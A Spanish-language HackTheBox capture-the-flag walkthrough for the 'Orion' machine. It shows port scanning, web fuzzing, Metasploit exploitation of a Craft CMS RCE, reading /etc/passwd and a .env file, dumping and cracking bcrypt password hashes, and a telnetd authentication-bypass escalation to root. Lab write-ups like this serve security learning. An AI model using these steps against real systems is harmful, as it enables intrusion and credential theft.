Resumen de Orion - HackTheBox

Share
Resumen de Orion - HackTheBox

Antes de continuar

Si te interesan los pentesting/operaciones de Red Team o ciberseguridad ofensiva, ten en cuenta que leer este post puede hacerte spoiler de la máquina Reactor. Si planeas completar esta máquina, por favor no sigas leyendo.

  • Dificultad: Fácil
  • Sistema operativo: Debian 13

Para comenzar, le asignaré un nombre a la dirección IP para no tener que memorizarla y así poder realizar el hackeo más sencillo.

Reconocimiento

A continuación, reailzaré un escaneo de puertos a todos los puertos TCP para observar qué servicios están corriendo en dicha máquina (al menos, servicios que sean accesibles).

sudo nmap -p- -sS -T5 --min-rate 5000 -vvv -Pn -o scan.txt orion.htb

Como podemos ver, sólo ha detectado los puertos 22 y 80, por lo que haremos un escaneo detallado a estos puertos para ver qué se esconde en ellos.

sudo nmap -p22,80 -sC -sV -vvv -Pn -o scan_detailed.txt orion.htb

Tras acceder a la web, encontramos una página estática con un formulario de contacto al final. En la página no parece haber gran cosa en sí misma.

Sin embargo, tras observar las tecnologías con las que está montada la página web, nos damos cuenta de que posee Craft CMS, un sistema de gestión de contenidos que (a mi parecer) se ve muy poco. Buscando en internet, encontramos vulnerabilidades interesantes a cerca de este CMS:

Antes de probar si algunas de estas vulnerabilidades son explotables, debemos asegurarnos de que la versión del CMS coincide con las demostradas en las vulnerabilidades, por lo que el próximo objetivo será hallar la versión del software.

Para poder descubrir más cosas sobre la web (ya que en la página principal no aparecía ninguna versión de software), lo que he hecho ha sido fuzzing web, es decir, escanear la web en busca de páginas que sean accesibles. Esto lo he hecho usando el siguiente comando:

wfuzz --hc 404 -c -w /usr/share/wordlists/big.txt -t 200 -u http://orion.htb/FUZZ

Como podemos ver, hemos hallado muchos subdirectorios y páginas web. Cada uno de ellos contiene cierta información que nos puede llegar a ser útil, aunque de momento, el que más me interesa es el subdirectorio admin. Accediendo a dicha web, nos hallamos un panel de inicio de sesión en el que encontramos la versión del software.

La versión del software es la 5.6.16, por lo que haciendo una búsqueda rápida en searchsploit, podemos ver que existe una vulnerabilidad (CVE-2025-32432) de tipo RCE (Ejecución remota de comandos), que es justo lo que necesitamos.

Explotación

He probado muchos exploits tanto de ExploitDB como de Github y todos ellos, por decirlo de forma respetuosa, no me han terminado de gustar, ya que el funcionamiento no era el adecuado. Es por ello que haciendo una pequeña búsqueda en Internet, me encuentro conq ue Metasploit posee un módulo para explotar esta misma vulnerabilidad, por lo que iniciaré msfconsole y procederé a explotarla.

msfconsole

Ahora, haremos una breve búsqueda en los módulos de msfconsole para usar el exploit de la vulnerabilidad que intentamos explotar.

search cve-2025-32432
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432

Dentro del exploit debemos configurar los parámetros del exploit. Para ello, usaremos el comando set para poder ver los parámetros que admite.

Como podemos ver, el exploit ataca al puerto 80 por defecto, que está bien configurado, pero no indica a quién se va a atacar. Para especificar qué máquina atacaremos deberemos configurar el parámetro RHOSTS indicando el nombre de la máquina.

set RHOSTS orion.htb

Además, deberemos indicar el parámetro LHOST para indicar desde qué dirección IP (nosotros) realizaremos el ataque.

set LHOST 10.10.16.46

Una vez hemos configurado los parámetros del exploit, para iniciar el ataque, debemos ejecutar en la consola el comando exploit.

exploit

Ahora que tenemos la consola, podemos viajar por el sistema para descubrir ficheros que nos puedan parecer interesantes. Como vimos anteriormente en el fuzzing web, existían los ficheros .htaccess y .htpasswd. Esos ficheros contienen tanto usuarios como contraseñas que podrían pertenecer a usuarios del sistema, por lo que será interesante echarles un vistazo.

Aparentemente, .htaccess no contiene nada interesante, y tampoco logro encontrar .htpasswd, sin embargo, sí que encontré un fichero .env que contiene cosas interesantes (credenciales de acceso a la base de datos de Craft CMS).

Para poder tener una terminal más bonita, me abriré una reverse shell.

Revisando el fichero /etc/passwd, existe el usuario adam (además de root).

En un futuro puede llegar a servirnos, pero de momento, lo que me interesa es ver si existe alguna credencial. He probado a acceder al usuario adam con la contraseña SuperSecureCraft123Pass!, pero no ha resultado, por lo que probaré a buscar credenciales en la base de datos.

mysql -u root -p orion

A continuación veremos todas las tablas de la base de datos para poder ver si existen credenciales.

SHOW TABLES;

Para consultar la tabla, primero debemos saber los campos que contiene. Para ello, usamos DESCRIBE.

DESCRIBE users;

A continuación, con los datos que hemos visto anteriormente, podemos formar una consulta SQL que nos de los usuarios, sus IDs, si son o no administradores de la página, sus correos electrónicos así como sus contraseñas.

SELECT id, username, admin, email, password FROM users;

Como podemos ver, existe el usuario admin perteneciente a adam (ya que está asignado a su correo electrónico), y además, tenemos su contraseña hasheada. Podemos intentar crackearla con hashcat.

hashid hashed_password.txt

Con esto ya sabemos que el algoritmo de cifrado es bcrypt. Con hashcat, buscaré el id del cifrado bcrypt.

hashcat -h | grep bcrypt

Y con esto, podemos lnzar el comando para crackear la contraseña.

hashcat -m 3200 -a 0 hashed_password.txt /usr/share/wordlists/rockyou.txt 

Guardaré estas credenciales en un fichero de texto:

Y probaré a iniciar sesión con ellas:

Y efectivamente, estamos dentro del sistema. Obtendré la flag de usuario y pasaré con la escalada de privilegios.

Escalada de privilegios

Siendo ya un usuario que forma parte del sistema, he enumerado los ficheros con SUID, los procesos corriendo en el sistem, y los puertos. Examinando los puertos, me encontré con lo siguiente:

Cosa que me extrañó ya que estaba escuchando en loopback, es decir, que el puerto telnet solo era accesible desde la red local. Eso de por sí ya me llamó la atención, pero cuando revisé la versión de telnet, descubrí que estaba asociada a un CVE.

Aparentemente, el CVE-2026-24061 permite realizar un bypass de la autenticación, pudiendo autenticarme como usuario root en el sistema. Encontré un exploit en python que hace eso mismo.

GitHub - balgan/CVE-2026-24061: inetutils-telnetd Authentication Bypass - working
inetutils-telnetd Authentication Bypass - working. Contribute to balgan/CVE-2026-24061 development by creating an account on GitHub.

Por lo que, si ejecuto el siguiente exploit, paso a ser el usuario root dentro del sistema:

Y a continuación, encontramos la flag del usuario root.

Read more